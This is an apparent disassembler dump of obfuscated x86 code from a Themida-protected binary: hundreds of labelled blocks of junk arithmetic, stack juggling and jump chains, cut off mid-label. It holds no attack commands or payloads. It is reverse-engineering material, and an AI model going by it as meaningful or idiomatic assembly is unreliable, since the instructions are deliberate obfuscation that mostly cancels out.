Themida_:0056DD78j add ecx, edx jmp loc_55EA7B ; --------------------------------------------------------------------------- loc_5650CD: ; CODE XREF: Themida_:005716E7j pop edx sub esp, 4 jmp loc_572585 ; --------------------------------------------------------------------------- loc_5650D6: ; CODE XREF: Themida_:0056BD2Aj add ebp, ebx add ebp, 6C728F5h add ebp, 1EB447ABh jmp loc_56D123 ; --------------------------------------------------------------------------- loc_5650E9: ; CODE XREF: Themida_:0055FA5Aj add esp, 2 xor bl, al jmp loc_55EBDE ; --------------------------------------------------------------------------- loc_5650F3: ; CODE XREF: Themida_:0056796Aj push eax push dword ptr [esp+4] jmp loc_5634C6 ; --------------------------------------------------------------------------- loc_5650FD: ; CODE XREF: Themida_:00561C0Ej push edx mov edx, 4 jmp loc_569AF6 ; --------------------------------------------------------------------------- loc_565108: ; CODE XREF: Themida_:0055F7AEj push 7E59h mov [esp], edi jmp loc_56314A ; --------------------------------------------------------------------------- loc_565115: ; CODE XREF: Themida_:0056140Dj add edx, ecx add edx, 26A643CFh push dword ptr [esp] mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_56FE61 ; --------------------------------------------------------------------------- loc_565131: ; CODE XREF: Themida_:00561955j mov ebx, 0E533898h sub esi, 4D005A7Fh sub esi, ebx add esi, 4D005A7Fh jmp loc_55D914 ; --------------------------------------------------------------------------- loc_565149: ; CODE XREF: Themida_:00571871j sub dword ptr [esp+4], 250E1BDDh pop edx pop ecx push 281Ah mov [esp], edx push edi mov edi, 5CEF0C5Ah shr edi, 7 push ecx jmp loc_56FFD2 ; --------------------------------------------------------------------------- loc_56516A: ; CODE XREF: Themida_:00565305j push ecx mov ch, 2Bh jmp loc_572081 ; --------------------------------------------------------------------------- loc_565172: ; CODE XREF: Themida_:0056B1EAj push 2A2724BBh push dword ptr [esp] pop esi sub esp, 4 mov [esp], esi push esp pop esi push 0A7Fh mov [esp], ebx jmp loc_564F2C ; --------------------------------------------------------------------------- loc_565193: ; CODE XREF: Themida_:00570494j xor edi, 2AB04ED8h sub edi, 19367F68h jmp loc_564B13 ; --------------------------------------------------------------------------- loc_5651A4: ; CODE XREF: Themida_:0055FAFEj push ebx mov ebx, 62D83ECFh dec ebx jmp loc_5644D4 ; --------------------------------------------------------------------------- loc_5651B0: ; CODE XREF: Themida_:00562765j add dword ptr [esp], 4 mov edi, [esp] sub esp, 4 mov [esp], ebx jmp loc_571A8D ; --------------------------------------------------------------------------- loc_5651C5: ; CODE XREF: Themida_:0056E800j mov [esp], edi mov edi, 5C4D1AD5h neg edi neg edi shl edi, 2 jmp loc_5697EE ; --------------------------------------------------------------------------- loc_5651D9: ; CODE XREF: Themida_:00568DC7j xchg ecx, edx sub esp, 4 mov [esp], ecx not dword ptr [esp] mov ecx, [esp] jmp loc_564C5F ; --------------------------------------------------------------------------- loc_5651EF: ; CODE XREF: Themida_:0055F3F9j push 76F3h mov [esp], ecx push ebx mov bl, 96h xor bl, 0B0h or bl, 0DAh push 18CFh mov [esp], ecx push eax mov al, 83h jmp loc_56EF4F ; --------------------------------------------------------------------------- loc_565210: ; CODE XREF: Themida_:00562FD0j add eax, 4 sub esp, 4 mov [esp], edi mov edi, 43EC249Bh sub edi, 50D244CBh xor edi, 0F319DFD4h sub eax, 4C6F1DD3h add eax, edi add eax, 4C6F1DD3h pop edi xchg eax, [esp] pop esp jmp loc_5685FC ; --------------------------------------------------------------------------- loc_565242: ; CODE XREF: Themida_:00571216j push dword ptr [esp] pop eax jmp loc_55F538 ; --------------------------------------------------------------------------- loc_56524B: ; CODE XREF: Themida_:0056594Cj push dword ptr [esp] pop esi push ecx push esp pop ecx add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebp pop ebx push dword ptr [esp] pop ebp add esp, 4 xor eax, ebx mov ebx, [esp] add esp, 4 jmp loc_572658 ; --------------------------------------------------------------------------- push ebx push 4270h jmp loc_56B534 ; --------------------------------------------------------------------------- loc_56528E: ; CODE XREF: Themida_:005658A5j add esp, 4 sub esp, 4 mov [esp], edx jmp loc_55F199 ; --------------------------------------------------------------------------- loc_56529F: ; CODE XREF: Themida_:00568B0Fj push eax mov eax, 2B1B3C94h xor eax, 403E5CD6h sub eax, 57EC4C93h not eax xor eax, 0ECC6EC68h push ebp jmp loc_56D0E7 ; --------------------------------------------------------------------------- loc_5652BC: ; CODE XREF: Themida_:0056AD52j not ebx shr ebx, 3 or ebx, 330B23F2h neg ebx jmp loc_56459C ; --------------------------------------------------------------------------- loc_5652CE: ; CODE XREF: Themida_:005691A2j push ebp push edi push 2B766920h jmp loc_55EE34 ; --------------------------------------------------------------------------- loc_5652DA: ; CODE XREF: Themida_:0055E636j mov eax, 0FEFE8026h add ebx, eax jmp loc_55FEC8 ; --------------------------------------------------------------------------- loc_5652E6: ; CODE XREF: Themida_:005708B4j push dword ptr [esp] jmp loc_560E4E ; --------------------------------------------------------------------------- loc_5652EE: ; CODE XREF: Themida_:0056AC39j pop cx xor cl, 35h inc cl and cl, 0Ah add cl, 12h jmp loc_56A14B ; --------------------------------------------------------------------------- loc_565300: ; CODE XREF: Themida_:00567BB6j not bl shr bl, 8 jmp loc_56516A ; --------------------------------------------------------------------------- loc_56530A: ; CODE XREF: Themida_:0056A009j push edi jmp loc_56C5DF ; --------------------------------------------------------------------------- loc_565310: ; CODE XREF: Themida_:00565980j idiv ecx jmp loc_571CB4 ; --------------------------------------------------------------------------- loc_565317: ; CODE XREF: Themida_:005614B6j push 294Ah mov [esp], edi jmp loc_55F0B9 ; --------------------------------------------------------------------------- loc_565324: ; CODE XREF: Themida_:0056768Aj mov [esp], esi jmp loc_563A44 ; --------------------------------------------------------------------------- loc_56532C: ; CODE XREF: Themida_:0055E1B9j pop edx push ebp mov ebp, esp push eax jmp loc_56C674 ; --------------------------------------------------------------------------- loc_565336: ; CODE XREF: Themida_:0056CE9Dj dec ebp neg ebp xor ebp, 26410EE5h jmp loc_562C13 ; --------------------------------------------------------------------------- loc_565344: ; CODE XREF: Themida_:0056E60Ej pop ebx xor edi, [esp] jmp loc_56A61C ; --------------------------------------------------------------------------- loc_56534D: ; CODE XREF: Themida_:00570798j pop ecx add eax, ecx push edx mov edx, 260509C5h add eax, edx pop edx mov ecx, [esp] add esp, 4 jmp loc_56435B ; --------------------------------------------------------------------------- loc_565364: ; CODE XREF: Themida_:0055FA1Fj mov edi, [esp] push edi sub esp, 4 mov [esp], esp push ecx jmp loc_56FE05 ; --------------------------------------------------------------------------- loc_565377: ; CODE XREF: Themida_:00570A2Aj mov cl, 8Ah sub al, cl pop ecx pop ebx push edx push ebx jmp loc_569C38 ; --------------------------------------------------------------------------- loc_565384: ; CODE XREF: Themida_:005635A4j push dword ptr [esp+4] pop ecx jmp loc_563593 ; --------------------------------------------------------------------------- loc_56538E: ; CODE XREF: Themida_:00562124j add esi, 4 sub esi, 4 jmp loc_5707C5 ; --------------------------------------------------------------------------- loc_56539F: ; CODE XREF: Themida_:0056112Cj mov [esp], esi push ebp mov ebp, 1D7A642Bh sub esp, 4 jmp loc_565AEC ; --------------------------------------------------------------------------- loc_5653B0: ; CODE XREF: Themida_:0056FD76j and esi, 174E3164h push ebp mov ebp, 792844FEh jmp loc_569C99 ; --------------------------------------------------------------------------- loc_5653C1: ; CODE XREF: Themida_:0055FC9Dj add esi, 32ED6938h jmp loc_56572B ; --------------------------------------------------------------------------- loc_5653CC: ; CODE XREF: Themida_:0056480Dj mov [esp], edx jmp loc_55E7D0 ; --------------------------------------------------------------------------- loc_5653D4: ; CODE XREF: Themida_:0056F2C4j add ebx, 7FFA7982h sub ebx, eax sub ebx, 7FFA7982h jmp loc_57018C ; --------------------------------------------------------------------------- loc_5653E7: ; CODE XREF: Themida_:00564DA8j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] push 655Ah mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_563D59 ; --------------------------------------------------------------------------- loc_565415: ; CODE XREF: Themida_:00568B7Bj push ebp mov ebp, esp jmp loc_561A50 ; --------------------------------------------------------------------------- loc_56541D: ; CODE XREF: Themida_:00563C49j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_565422: ; CODE XREF: Themida_:0056331Dj mov [esp], esi jmp loc_566B4E ; --------------------------------------------------------------------------- loc_56542A: ; CODE XREF: Themida_:0056489Bj mov [esp], eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] add esi, 4 jmp loc_56696F ; --------------------------------------------------------------------------- loc_565450: ; CODE XREF: Themida_:00562431j and edi, 68E34EF0h inc edi xchg eax, edi not eax jmp loc_55FFCD ; --------------------------------------------------------------------------- loc_56545F: ; CODE XREF: Themida_:005711A7j add ebp, 4 jmp loc_564C86 ; --------------------------------------------------------------------------- loc_565467: ; CODE XREF: Themida_:00560D54j pop eax push eax push ecx jmp loc_55EA3D ; --------------------------------------------------------------------------- loc_56546F: ; CODE XREF: Themida_:00569192j add al, dh mov dx, [esp] jmp loc_56C925 ; --------------------------------------------------------------------------- loc_56547A: ; CODE XREF: Themida_:0056BEC0j add ebp, 438A5250h shr ebp, 3 shl ebp, 3 push esi sub esp, 4 mov [esp], edi jmp loc_570329 ; --------------------------------------------------------------------------- loc_565492: ; CODE XREF: Themida_:0057024Bj sub esp, 4 mov [esp], edi mov edi, 0B8F0413Dh jmp loc_55FFFB ; --------------------------------------------------------------------------- loc_5654A5: ; CODE XREF: Themida_:0055EC9Cj mov [esp], ecx push eax jmp loc_56251E ; --------------------------------------------------------------------------- loc_5654AE: ; CODE XREF: Themida_:0056F48Bj mov ebx, esp add ebx, 4 jmp loc_5629AE ; --------------------------------------------------------------------------- loc_5654BB: ; CODE XREF: Themida_:005722A9j xchg eax, [esp] pop esp mov [esp], esi push ebp push esp pop ebp add ebp, 4 jmp loc_571C5F ; --------------------------------------------------------------------------- loc_5654D0: ; CODE XREF: Themida_:00570956j pop ebp sub edx, 4 jmp loc_5640C5 ; --------------------------------------------------------------------------- loc_5654DC: ; CODE XREF: Themida_:0056DE5Aj add ecx, 29362D7Ah neg ecx shl ecx, 2 shr ecx, 6 xor ecx, 54A55535h and ebx, ecx jmp loc_561CF4 ; --------------------------------------------------------------------------- loc_5654F7: ; CODE XREF: Themida_:0056E5EFj mov esi, [esp] add esp, 4 sub ecx, 5F41557Fh add ecx, esi jmp loc_56D548 ; --------------------------------------------------------------------------- loc_56550A: ; CODE XREF: Themida_:0056E4AFj mov ebx, [esp] add esp, 4 push 73C2h mov [esp], ebx jmp loc_572221 ; --------------------------------------------------------------------------- loc_565520: ; CODE XREF: Themida_:00572038j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_565525: ; CODE XREF: Themida_:0056D83Fj neg ebp shr ebp, 5 jmp loc_56EB5A ; --------------------------------------------------------------------------- loc_56552F: ; CODE XREF: Themida_:0056274Dj pop esi push edx mov edx, eax mov ecx, edx pop edx pop eax mov ebx, [esp] add esp, 4 push ebp jmp loc_569826 ; --------------------------------------------------------------------------- loc_565543: ; CODE XREF: Themida_:0056321Bj push 385Ah jmp loc_55DDAA ; --------------------------------------------------------------------------- loc_56554D: ; CODE XREF: Themida_:0056B78Fj mov eax, [esp] add esp, 4 shl eax, 1 xor eax, 0B0CA9BB4h push ebx mov ebx, eax mov edi, ebx pop ebx mov eax, [esp] add esp, 4 add esi, 5AA26199h add esi, edi push eax push ecx push 10135D92h pop ecx and ecx, 33F50E7Ch shr ecx, 2 jmp loc_566015 ; --------------------------------------------------------------------------- loc_565587: ; CODE XREF: Themida_:0056A79Ej mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, 7FA94307h mov ecx, ebx pop ebx mov edi, ecx jmp loc_5629B6 ; --------------------------------------------------------------------------- loc_5655A2: ; CODE XREF: Themida_:005672F7j xchg ebx, [esp] mov esp, [esp] mov [esp], esp jmp loc_56F577 ; --------------------------------------------------------------------------- loc_5655B0: ; CODE XREF: Themida_:00565C85j mov ecx, 7F02C24h or ecx, 7D0257DBh xor ecx, 1DA05797h add ecx, 0A6871562h shl ecx, 3 add ecx, 6989268Fh sub ecx, 0A913AADh sub ecx, 7CB9D31Bh jmp loc_56DA9D ; --------------------------------------------------------------------------- loc_5655E1: ; CODE XREF: Themida_:0056E71Fj mov esi, 2530477Ah add eax, esi pop esi jmp loc_56B91D ; --------------------------------------------------------------------------- loc_5655EE: ; CODE XREF: Themida_:00570F40j pop esi add ecx, 7C5201EEh add ecx, eax sub ecx, 7C5201EEh jmp loc_56E414 ; --------------------------------------------------------------------------- loc_565602: ; CODE XREF: Themida_:0056E684j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_565616: ; CODE XREF: Themida_:0055E8AFj add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56562B: ; CODE XREF: Themida_:00566C71j add esp, 4 add eax, 4FE81FB4h mov edx, eax mov eax, [esp] add esp, 4 push edi push 393139F1h mov edi, [esp] add esp, 4 inc edi sub esp, 4 jmp loc_5717AC ; --------------------------------------------------------------------------- loc_565656: ; CODE XREF: Themida_:0056AAB8j mov edx, [esp] add esp, 4 push ebp mov ebp, 810FE828h sub ecx, 80630A1h jmp loc_56AFB6 ; --------------------------------------------------------------------------- loc_56566D: ; CODE XREF: Themida_:0056DCBFj mov ebp, [esp] add esp, 4 jmp loc_571931 ; --------------------------------------------------------------------------- loc_56567B: ; CODE XREF: Themida_:00561FE9j sub esp, 4 mov [esp], ebp push 2B7825E1h pop ebp push eax mov eax, 26074A44h xor ebp, eax mov eax, [esp] jmp loc_571FB6 ; --------------------------------------------------------------------------- loc_565697: ; CODE XREF: Themida_:0055DEB7j mov eax, 734237A7h sub eax, 4551CF98h mov ecx, eax pop eax add ecx, 415E985h sub eax, ecx pop ecx sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_56480C ; --------------------------------------------------------------------------- loc_5656C9: ; CODE XREF: Themida_:00565DFFj pop ebx add esp, 4 push eax mov eax, esp jmp loc_5663DF ; --------------------------------------------------------------------------- loc_5656D5: ; CODE XREF: Themida_:0056B967j push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], ecx mov ecx, 2 push edx jmp loc_5646AF ; --------------------------------------------------------------------------- loc_5656EF: ; CODE XREF: Themida_:0056004Bj push 4A4Dh mov [esp], ecx mov ecx, esp push ebx mov ebx, 1223747Eh push eax mov eax, 5C0B0CA9h sub eax, 1 jmp loc_572043 ; --------------------------------------------------------------------------- loc_56570F: ; CODE XREF: Themida_:00570340j push 0EB8h mov [esp], ebx jmp loc_56BFC9 ; --------------------------------------------------------------------------- dd 240C8B66h, 7C146853h, 16E90000h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56572B: ; CODE XREF: Themida_:005653C7j pop ebp xchg esi, [esp] pop esp mov [esp], dx mov dl, 0ABh jmp loc_56DAE0 ; --------------------------------------------------------------------------- loc_56573B: ; CODE XREF: Themida_:005711F1j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 10F8h mov [esp], ebx mov ebx, 4 add eax, 10F60E88h add eax, ebx sub eax, 10F60E88h pop ebx jmp loc_561721 ; --------------------------------------------------------------------------- loc_565767: ; CODE XREF: Themida_:00569E7Bj pop ebx add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push ebp mov ebp, 4 jmp loc_56F012 ; --------------------------------------------------------------------------- loc_565791: ; CODE XREF: Themida_:0056F799j push 19A8h mov [esp], ebp push ebx jmp loc_56C287 ; --------------------------------------------------------------------------- loc_56579F: ; CODE XREF: Themida_:00569030j sub esi, ebp pop ebp jmp loc_5721C0 ; --------------------------------------------------------------------------- loc_5657A7: ; CODE XREF: Themida_:00568D43j sub edx, 6F5627CCh add edx, 44FC74CCh sub edx, 38AE6DEAh xor esi, edx pop edx xor esi, 26C1139Bh jmp loc_55FF13 ; --------------------------------------------------------------------------- loc_5657C7: ; CODE XREF: Themida_:00562D9Ej add cl, 0BDh jmp loc_57007C ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_56498D ; --------------------------------------------------------------------------- loc_5657E7: ; CODE XREF: Themida_:0055D9FBj add ebx, 0FFFFFFFFh neg ebx neg ebx xor ebx, 26C1344Bh push esi mov esi, 738537FCh or esi, 61C804FEh xor esi, 9F44C0A0h jmp loc_5609E4 ; --------------------------------------------------------------------------- loc_56580E: ; CODE XREF: Themida_:005618B8j shl eax, 1 push ebp mov ebp, 235C0AC5h and ebp, 3D5A78D7h shr ebp, 4 not ebp sub esp, 4 mov [esp], edi mov edi, 42F32E0Bh dec edi sub edi, 534670C6h jmp loc_56B9BE ; --------------------------------------------------------------------------- loc_56583B: ; CODE XREF: Themida_:0055E8A7j push 0B14h mov [esp], edx mov edx, 659462B4h add edx, 6FFA4935h inc edx not edx dec edx sub edx, 2A715410h add esi, edx pop edx jmp loc_571250 ; --------------------------------------------------------------------------- loc_565860: ; CODE XREF: Themida_:005702A7j push eax push dword ptr [esp+4] pop eax jmp loc_56090D ; --------------------------------------------------------------------------- loc_56586B: ; CODE XREF: Themida_:00563664j pop ebx dec esi shr esi, 2 or esi, 52E38AFh xchg edx, esi not edx xchg edx, esi push 73AFh mov [esp], edi mov edi, 7DCB2814h sub esi, 5517673Eh jmp loc_568169 ; --------------------------------------------------------------------------- loc_565894: ; CODE XREF: Themida_:0056DD92j xor eax, ecx mov ecx, [esp] add esp, 4 or [edi+1Ch], eax push dword ptr [esp] mov eax, [esp] jmp loc_56528E ; --------------------------------------------------------------------------- loc_5658AA: ; CODE XREF: Themida_:0055FA04j add esp, 4 jmp loc_5668AC ; --------------------------------------------------------------------------- loc_5658B2: ; CODE XREF: Themida_:0056ACA5j mov eax, esp jmp loc_56B256 ; --------------------------------------------------------------------------- loc_5658B9: ; CODE XREF: Themida_:0056374Fj push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebp sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebp add ebp, 4 sub esp, 4 jmp loc_56E172 ; --------------------------------------------------------------------------- loc_5658EF: ; CODE XREF: Themida_:0056A82Dj sub esi, 6C5234D4h add esi, eax add esi, 6C5234D4h pop eax push 6868h mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push ebp mov ebp, esp jmp loc_560BEB ; --------------------------------------------------------------------------- loc_56591C: ; CODE XREF: Themida_:0056AC84j push dword ptr [esp] jmp loc_5618BD ; --------------------------------------------------------------------------- loc_565924: ; CODE XREF: Themida_:00561432j add eax, 74EC248Fh add eax, edi jmp loc_57213F ; --------------------------------------------------------------------------- loc_565930: ; CODE XREF: Themida_:005725B0j add edi, ebp pop ebp jmp loc_56DB06 ; --------------------------------------------------------------------------- loc_565938: ; CODE XREF: Themida_:00570E72j mov esi, ebx pop ebx sub ebp, 33A05A0Fh sub ebp, esi push eax mov eax, 33A05A0Fh add ebp, eax pop eax jmp loc_56524B ; --------------------------------------------------------------------------- loc_565951: ; CODE XREF: Themida_:00566DFCj push edx jmp loc_570385 ; --------------------------------------------------------------------------- loc_565957: ; CODE XREF: Themida_:0056A20Dj push edi jmp loc_566EE2 ; --------------------------------------------------------------------------- loc_56595D: ; CODE XREF: Themida_:0056B9B9j pop ecx or esi, 10D01258h jmp loc_56FE9E ; --------------------------------------------------------------------------- loc_565969: ; CODE XREF: Themida_:0056457Fj pop ecx and ebp, edi mov edi, [esp] add esp, 4 jmp loc_56FB59 ; --------------------------------------------------------------------------- loc_56597A: ; CODE XREF: Themida_:005617E1j xor edx, [esp] mov esp, [esp] jmp loc_565310 ; --------------------------------------------------------------------------- loc_565985: ; CODE XREF: Themida_:005674A5j add esp, 4 mov edx, [esp] sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], esp jmp loc_56C0FA ; --------------------------------------------------------------------------- loc_56599F: ; CODE XREF: Themida_:0056D8A0j push ecx jmp loc_56AE7D ; --------------------------------------------------------------------------- loc_5659A5: ; CODE XREF: Themida_:0056327Ej add bl, 0ACh push 0C0Eh mov [esp], eax mov ah, 0D3h xor ah, 50h push ecx mov cl, 40h push edx mov dl, 89h xor dl, 87h xor cl, dl pop edx inc cl inc cl shl cl, 3 add cl, 57h xor ah, cl pop ecx shl ah, 8 inc ah push edx mov dl, 65h jmp loc_564F9E ; --------------------------------------------------------------------------- loc_5659DB: ; CODE XREF: Themida_:0055E630j xor [esp+4], edi mov edi, [esp] add esp, 4 pop edi jmp loc_563BEF ; --------------------------------------------------------------------------- loc_5659EE: ; CODE XREF: Themida_:0056A32Cj sub ebx, 3E736107h neg ebx push ebx not dword ptr [esp] pop ebx sub ebx, 0FADE9851h add edx, ebx pop ebx mov esi, edx pop edx sub ebp, esi pop esi sub ebp, 5CE6693Ch add ebp, eax add ebp, 5CE6693Ch add ebp, 267550EEh pop eax push esi push ebx mov ebx, 2 mov esi, ebx pop ebx add ebp, esi jmp loc_5726B5 ; --------------------------------------------------------------------------- loc_565A30: ; CODE XREF: Themida_:00568326j mov ebx, 278920CBh shl ebx, 5 xor ebx, 6CFC2FDEh shr ebx, 5 push eax push esi mov esi, 142A512Fh inc esi inc esi not esi jmp loc_55E1A2 ; --------------------------------------------------------------------------- loc_565A51: ; CODE XREF: Themida_:0055E608j and edi, 39637278h sub edi, 738194DEh add eax, edi pop edi add ebx, 52EB562Ch add ebx, eax jmp loc_5608AC ; --------------------------------------------------------------------------- loc_565A6D: ; CODE XREF: Themida_:0056F474j add edi, 4 push ecx mov ecx, 4 add edi, ecx jmp loc_560367 ; --------------------------------------------------------------------------- loc_565A80: ; CODE XREF: Themida_:005714A7j push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_565A8F: ; CODE XREF: Themida_:005647E3j sub edx, 0F8A6B60h or edx, 7FF404A9h xor edx, 9FF1A0E9h or ecx, edx pop edx and ecx, 4EE43BA5h push ebx jmp loc_56CF21 ; --------------------------------------------------------------------------- loc_565AB0: ; CODE XREF: Themida_:0056953Dj push esi mov esi, 2 push 6122h mov [esp], ebp push 1A160666h jmp loc_571265 ; --------------------------------------------------------------------------- loc_565AC8: ; CODE XREF: Themida_:00569436j xor ebp, edi push dword ptr [esp] pop edi add esp, 4 push ecx push edi jmp loc_561B91 ; --------------------------------------------------------------------------- loc_565AD8: ; CODE XREF: Themida_:005672C8j push edx jmp loc_569BF4 ; --------------------------------------------------------------------------- loc_565ADE: ; CODE XREF: Themida_:005688C5j add eax, 4 xchg eax, [esp] pop esp or edx, eax jmp loc_572198 ; --------------------------------------------------------------------------- loc_565AEC: ; CODE XREF: Themida_:005653ABj mov [esp], ebp mov ebp, 0E2859BD6h push ecx mov ecx, ebp jmp loc_571149 ; --------------------------------------------------------------------------- loc_565AFC: ; CODE XREF: Themida_:0055FCEEj mov dl, 14h jmp loc_56D65A ; --------------------------------------------------------------------------- loc_565B03: ; CODE XREF: Themida_:005725CBj mov [esp], esi mov esi, 1ECAD76Fh sub edx, esi pop esi xor eax, edx pop edx push edx push esi push edi push ebx mov ebx, 66D80AAEh mov edi, ebx pop ebx and edi, 13864963h sub edi, 75875AAAh jmp loc_56DDBE ; --------------------------------------------------------------------------- loc_565B2E: ; CODE XREF: Themida_:00568965j sub ebx, 4129386Ah add ebx, edi add ebx, 4129386Ah mov edi, [esp] add esp, 4 add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push ecx mov cl, 35h not cl shl cl, 8 jmp loc_5642A8 ; --------------------------------------------------------------------------- loc_565B61: ; CODE XREF: Themida_:00566230j sub esp, 2 mov [esp], dx push ebx jmp loc_5637A8 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 0B8h mov [esp], edx mov edx, esp sub esp, 4 mov [esp], esi jmp loc_569E5B ; --------------------------------------------------------------------------- loc_565B96: ; CODE XREF: Themida_:0056CDD9j push edx mov dl, bl mov al, dl pop edx pop ebx push edx mov dh, al mov bh, dh jmp loc_560C18 ; --------------------------------------------------------------------------- loc_565BA7: ; CODE XREF: Themida_:0055E2B4j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55F882 ; --------------------------------------------------------------------------- loc_565BBE: ; CODE XREF: Themida_:00570FD4j sub esp, 4 jmp loc_56161A ; --------------------------------------------------------------------------- loc_565BC9: ; CODE XREF: Themida_:0055EF16j not esi neg esi xor esi, 0F3E4903h mov edi, esi pop esi mov eax, 0C42B529Ah xor eax, edi mov edi, [esp] add esp, 4 jmp loc_56BD4E ; --------------------------------------------------------------------------- loc_565BEB: ; CODE XREF: Themida_:0056605Fj pop ebx jmp loc_56DD7D ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 7653h jmp loc_56C31F ; --------------------------------------------------------------------------- loc_565BFE: ; CODE XREF: Themida_:005703FDj add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edx mov dh, 40h jmp loc_56502D ; --------------------------------------------------------------------------- loc_565C1D: ; CODE XREF: Themida_:00562A44j mov esp, [esp] push ebx jmp loc_55DE2F ; --------------------------------------------------------------------------- loc_565C26: ; CODE XREF: Themida_:0055DE1Dj push esi push esp pop esi push ebp jmp loc_564307 ; --------------------------------------------------------------------------- loc_565C2F: ; CODE XREF: Themida_:0055E3CCj mov eax, 762100A2h sub esi, eax pop eax add esi, edx push ecx jmp loc_55F793 ; --------------------------------------------------------------------------- loc_565C3F: ; CODE XREF: Themida_:005662E0j or eax, eax jnz loc_571E59 push 1 mov edx, [esp] push 536Ch jmp loc_56ADD7 ; --------------------------------------------------------------------------- loc_565C59: ; CODE XREF: Themida_:0055F6D7j add esp, 4 push 76C8h mov [esp], edi mov edi, 4CFD58E0h push ecx mov ecx, 4A629D6h not ecx neg ecx sub ecx, 3E6D0864h jmp loc_56C881 ; --------------------------------------------------------------------------- loc_565C81: ; CODE XREF: Themida_:00560B4Ej xchg esi, [edx+38h] push ecx jmp loc_5655B0 ; --------------------------------------------------------------------------- loc_565C8A: ; CODE XREF: Themida_:00560239j mov edx, 733042Ch xchg ebx, edx not ebx jmp loc_568246 ; --------------------------------------------------------------------------- loc_565C98: ; CODE XREF: Themida_:0056CC75j inc edx neg edx jmp loc_56E796 ; --------------------------------------------------------------------------- loc_565CA0: ; CODE XREF: Themida_:0056E198j xor esi, 66BC07EEh sub esp, 4 jmp loc_55FA86 ; --------------------------------------------------------------------------- loc_565CAE: ; CODE XREF: Themida_:005650B2j shr eax, 6 and eax, 69B366DAh not eax xor eax, 1B164DAh add ebp, eax jmp loc_560BB1 ; --------------------------------------------------------------------------- loc_565CC4: ; CODE XREF: Themida_:005720D8j pop eax push ebx mov ebx, 7B5C0F69h sub [esp+8], ebx pop ebx add [esp+4], edx add dword ptr [esp+4], 7B5C0F69h add dword ptr [esp+4], 2E68058Ch jmp loc_56D48C ; --------------------------------------------------------------------------- loc_565CE9: ; CODE XREF: Themida_:005636A2j pop edx xchg ebx, edx jmp loc_56CBAD ; --------------------------------------------------------------------------- loc_565CF1: ; CODE XREF: Themida_:0055D8B4j push edx push eax mov eax, 4A0E5BC5h add eax, 3A1560E0h xor eax, 9834CB28h jmp loc_56F9FB ; --------------------------------------------------------------------------- loc_565D07: ; CODE XREF: Themida_:0055F476j mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push edi mov edi, 360D4168h dec edi neg edi jmp loc_55F396 ; --------------------------------------------------------------------------- loc_565D38: ; CODE XREF: Themida_:00566E5Aj mov eax, 1BA81C5Eh mov esi, 26983A1Bh sub esi, eax mov eax, [esp] jmp loc_55EAD1 ; --------------------------------------------------------------------------- loc_565D4C: ; CODE XREF: Themida_:0056DB4Aj pop bx add al, dl jmp loc_5697DC ; --------------------------------------------------------------------------- loc_565D55: ; CODE XREF: Themida_:00563689j pop eax mov edi, ebp pop ebp jmp loc_5717F4 ; --------------------------------------------------------------------------- loc_565D5E: ; CODE XREF: Themida_:0056DAD3j push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], eax mov eax, 24h jmp loc_56840E ; --------------------------------------------------------------------------- lodsb add al, 0FEh sub al, bl push 7BF9h jmp loc_5646FB ; --------------------------------------------------------------------------- loc_565D8A: ; CODE XREF: Themida_:00562528j push 0DBA181Eh pop esi and esi, 3718170Ah dec esi not esi xor esi, 0F31D3C8Ah jmp loc_567568 ; --------------------------------------------------------------------------- loc_565DA4: ; CODE XREF: Themida_:0056CEE0j pop ebx pop eax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_565DAB: ; CODE XREF: Themida_:0055F87Dj add ecx, eax pop eax jmp loc_570488 ; --------------------------------------------------------------------------- loc_565DB3: ; CODE XREF: Themida_:0056E44Fj push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp jmp loc_568023 ; --------------------------------------------------------------------------- loc_565DCF: ; CODE XREF: Themida_:00567924j xor eax, 4532A99Ah jmp loc_5648BE ; --------------------------------------------------------------------------- loc_565DD9: ; CODE XREF: 